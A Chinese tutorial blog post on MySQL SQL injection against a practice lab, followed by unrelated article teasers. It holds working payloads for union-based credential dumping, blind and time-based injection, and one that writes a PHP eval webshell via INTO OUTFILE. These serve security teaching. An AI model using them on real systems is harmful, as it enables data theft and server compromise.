【MySQL】sql注入相关内容

【MySQL】sql注入相关内容

1. 为什么使用sql注入的时候,url传值的时候要使用–+而不是–

使用–进行注释的时候需要在后面加一个空格才可以被认为是注释,url传值的过程中会将空格自动忽略,使用+则可以在传输中保留为空格符号。(同时使用#作为注释符会被解释为锚点,导致失效)

2. 常用的sql注入方式

  1. 判断包裹方式
<!-- 使用\来判断包裹方式 -->
?id=-1\
  1. 获取数据库名
<!-- 以下的包裹方式均假设为单引号,前端显示字段数量假设为3 -->
?id=-1' union select 1,2,database() --+

在这里插入图片描述

  1. 获取数据库表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述

  1. 获取数据表列名
<!-- 注意这里面的是table_name,查询数据库中有那些表的时候where语句后面是table_schema -->
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在这里插入图片描述

  1. 获取列对应的数据内容
<!-- 知道字段名之后就可以通过group_concat组合各个字段的数据 -->
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

在这里插入图片描述

3. sql盲注

有的时候页面上回显不会那么明显或者就没有,你只能通过当前页面的状态判断输入的参数是对是错,这时候就需要用到盲注。

  1. 看一下页面正常回显的样子是什么,以及参数的闭合方式
    正常会先为You are in…
    在这里插入图片描述

可以看到闭合方式为单引号
在这里插入图片描述

  1. 判断以下数据库的名字是什么,使用如下语句判断数据库的第一个字符在什么范围。
    看第一个字符是否小于字符m
<!--借助ascii码的值来判断数据库名的第一个字符是在那个范围,大于或者小于字符m-->
<!--使用and来确保在后面的条件错误的情况下能与正常的情况有明显不同-->
?id=1' and ascii(substr(database(),1,1)) < ascii('m') --+

在这里插入图片描述
可以看到,页面没有回显什么数据,那么变化以下条件,等于的情况和大于的情况。
等于的情况,也和上述情况一样。

?id=1' and ascii(substr(database(),1,1)) = ascii('m') --+

在这里插入图片描述
大于的情况如下,可以正确的回显

?id=1' and ascii(substr(database(),1,1)) > ascii('m') --+

在这里插入图片描述
使用该方式可以试出来,第一个字符为‘s’,页面正确的回显

?id=1' and ascii(substr(database(),1,1)) = ascii('s') --+

在这里插入图片描述
3. 使用该方式可以可以一次判断出数据库的名称为security

?id=1' and ascii(substr(database(),2,1)) = ascii('e') --+
?id=1' and ascii(substr(database(),3,1)) = ascii('c') --+
或者简单一点
?id=1' and substr(database(),3,1) = 'c' --+
......
  1. 接下来也是通过该方式来判断数据库中的表名
<!--这里面的select语句可以选出按table_name排序的第一条数据,这里第一条数据就是email-->
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' order by table_name limit 0,1),1,1 ) = 'e' --+

可以看到第一个表表名第一个字符为e
在这里插入图片描述
调整以下substr截取的位置为2,可以判断出第二个字符为m,以此类推可以判断整个表名

<!--这里面的select语句可以选出按table_name排序的第一条数据,这里第一条数据就是email-->
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' order by table_name limit 0,1),2,1 ) = 'm' --+

在这里插入图片描述

  1. 基于时间的盲注
?id=1' and if(length(database())>10,1,sleep(5)) --+

6.使用outfile

?id=-1' union select 1, 2, @@basedir --+
<!--输出php文件到目标地址-->
?id=-1')) union select 1,'<?php @eval($_POST[value]);?>',3 into outfile 'xxx' --+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/922952.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【YOLO】深入理解 CSP 瓶颈模块的变种:Bottleneck、C3、C3k、C2f 和 C3k2

深入理解 CSP 瓶颈模块的变种&#xff1a;Bottleneck、C3、C3k、C2f 和 C3k2 从 YOLOv3 到 YOLOv11&#xff0c;Ultralytics 团队结合当时的主流结构提出了各种适用于 YOLO 的模块&#xff0c;涵盖了不同的创新和优化思路&#xff0c;从而应对不断变化的目标检测需求。这些模块…

Redis中的数据结构详解

文章目录 Redis中的数据结构详解一、引言二、Redis 数据结构1、String&#xff08;字符串&#xff09;1.1、代码示例 2、List&#xff08;列表&#xff09;2.1、代码示例 3、Set&#xff08;集合&#xff09;3.1、代码示例 4、Hash&#xff08;散列&#xff09;4.1、代码示例 5…

计算机的错误计算(一百六十六)

摘要 探讨 MATLAB 关于算式 的计算误差。 例1. 已知 计算 直接贴图吧&#xff1a; 然而&#xff0c;16位的正确结果为 -0.9765626220703239e-21&#xff08;ISRealsoft 提供&#xff09;。这样&#xff0c;MATLAB输出的有效数字的错误率为 (16-2)/16 87.5% . 注&…

大模型时代的具身智能系列专题(十五)

Shubhangi Sinha团队 Shubhangi Sinha是康奈尔大学计算机科学系助理教授。在加入康奈尔大学之前&#xff0c;Tapo 是华盛顿大学计算机科学与工程专业的 NIH Ruth L. Kirschstein NRSA 博士后研究员。他在佐治亚理工学院获得了机器人学博士学位。他之前还曾在迪士尼研究中心工作…

【软件入门】Git快速入门

Git快速入门 文章目录 Git快速入门0.前言1.安装和配置2.新建版本库2.1.本地创建2.2.云端下载 3.版本管理3.1.添加和提交文件3.2.回退版本3.2.1.soft模式3.2.2.mixed模式3.2.3.hard模式3.2.4.使用场景 3.3.查看版本差异3.4.忽略文件 4.云端配置4.1.Github4.1.1.SSH配置4.1.2.关联…

鱼眼相机模型-MEI

参考文献&#xff1a; Single View Point Omnidirectional Camera Calibration from Planar Grids 1. 相机模型如下&#xff1a; // 相机坐标系下的点投影到畸变图像// 输入&#xff1a;相机坐标系点坐标cam 输出&#xff1a; 畸变图像素点坐标disPtvoid FisheyeCamAdapter::…

C++网络编程之多播

概述 在移动互联网时代&#xff0c;随着多媒体应用的日益普及&#xff0c;如何高效地将数据传输给多个接收者成为了网络通信领域的一个重要课题。多播&#xff08;英文为Multicast&#xff09;作为一种高效的网络通信方式&#xff0c;可以将数据同时发送到多个接收者&#xff0…

计算机毕业设计Python音乐推荐系统 机器学习 深度学习 音乐可视化 音乐爬虫 知识图谱 混合神经网络推荐算法 大数据毕设

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

直播技术-Android基础框架

目录 &#xff08;一&#xff09;直播间架构 &#xff08;二&#xff09;核心任务调度机制 &#xff08;1&#xff09;复制从滑动直播间加载流程 &#xff08;2&#xff09;核心任务调度机制-代码设计 &#xff08;3&#xff09;核心任务调度机制-接入指南 (三&#xff0…

『 Linux 』数据链路层 - MAC帧/以太网帧

文章目录 MAC帧/以太网帧局域网的通信原理 MAC帧/以太网帧 MAC帧也叫做以太网帧,通常情况下MAC帧也是一个更广义的语术,用来描述数据链路层,即OSI模型的第二层的一种数据帧格式,这种格式包括其他如WI-FI,令牌环,帧中继等数据链路层所使用的数据帧; 以太网帧是具体使用的一种MAC…

LightRAG开源了…结合本地ollama实现股票数据接口Akshare智能问答

LightRAG是由香港大学研究团队推出的一种检索增强生成&#xff08;Retrieval-Augmented Generation, RAG&#xff09;系统。该系统通过整合图结构索引和双层检索机制&#xff0c;显著提升了大型语言模型在信息检索中的准确性和效率。LightRAG 不仅能够捕捉实体间的复杂依赖关系…

LabVIEW引用类型转换问题

一、问题描述 在LabVIEW中&#xff0c;refnum&#xff08;引用编号&#xff09;用于引用各种资源&#xff0c;如文件、队列、控件等。这些引用是与具体类型相关的&#xff0c;通常情况下&#xff0c;LabVIEW会根据引用的类型自动进行处理。然而&#xff0c;当不同类型的引用需…

Redis五大基本类型——Set集合命令详解(命令用法详解+思维导图详解)

目录 一、Set集合类型介绍 二、常见命令 1、SADD 2、SMEMBERS 3、SISMEMBER 4、SCARD 5、SRANDMEMBER 6、SPOP 7、SMOVE 8、SREM ​编辑 9、集合间操作 &#xff08;1&#xff09;SINTER &#xff08;2&#xff09;SINTERSTORE &#xff08;3&#xff09;SUNION…

HTMLCSS:彩色灵动气泡效果

效果演示 这段代码是一个HTML文档&#xff0c;包含了内联的CSS样式&#xff0c;用于创建一个具有动画效果的网页背景&#xff0c;其中包含多个彩色浮动的气泡元素。 HTML <div class"container"><div class"bubble"><span></spa…

[工具分享] 根据Excel数据根据Word文档模板,批量创建生成Word文档并重命名,方便快速查找打印

前几天交楼的小姐姐要多份Word文档合同打印给客户&#xff0c;那么100份就需要修改100次 上面好多都是模板的制式文件&#xff0c;里面的部分数据都是要根据实际值来变动的&#xff0c; 那么有没有快速的方法来操作呢&#xff0c;还是只能一个个手动的改&#xff0c;又容易出…

《硬件架构的艺术》笔记(五):低功耗设计

介绍 能量以热量形式消耗&#xff0c;温度升高芯片失效率也会增加&#xff0c;增加散热片或风扇会增加整体重量和成本&#xff0c;在SoC级别对功耗进行控制就可以减少甚至可能消除掉这些开支&#xff0c;产品也更小更便宜更可靠。本章描述了减少动态功耗和静态功耗的各种技术。…

【Linux学习】【Ubuntu入门】2-3 make工具和makefile引入

1.使用命令新建三个.c文件vi main.c&#xff0c;vi input.c&#xff0c;vi caclcu.c&#xff0c;两个.h文件vi input.h&#xff0c;vi caclcu.h 2.vi Makefile&#xff1a;新建Makefile文件&#xff0c;输入一下内容 注意&#xff1a;命令列表中每条命令前用TAB键&#xff0c;不…

【初阶数据结构和算法】leetcode刷题之设计循环队列

文章目录 一、实现循环队列1.大致思路分析2.循环队列的结构定义和初始化结构定义初始化 3.循环队列的判空和判满判空和判满难点分析判空判满 4.循环队列的入队列和出队列入队列出队列 5.循环队列取队头和队尾元素取队头元素取队尾元素 6.循环队列的销毁7.最后题解源码 一、实现…

Otter 安装流程

优质博文&#xff1a;IT-BLOG-CN 一、背景 随着公司的发展&#xff0c;订单库的数据目前已达到千万级别&#xff0c;需要进行分表分库&#xff0c;就需要对数据进行迁移&#xff0c;我们使用了otter&#xff0c;这里简单整理下&#xff0c;otter 的安装过程&#xff0c;希望对…

#Java-常用API-BigInteger、BigDecima、正则表达式

1.BigInteger BigInteger可以表示非常大范围的整数&#xff0c;理论上来说无限大 a.构造方法 构造方法说明public BigInteger(int num, Random rnd)获取随机大整数,范围 : [0 ~ 2的num次方 - 1]public BigInteger(String val)获取指定的大整数public BigInteger(String val,…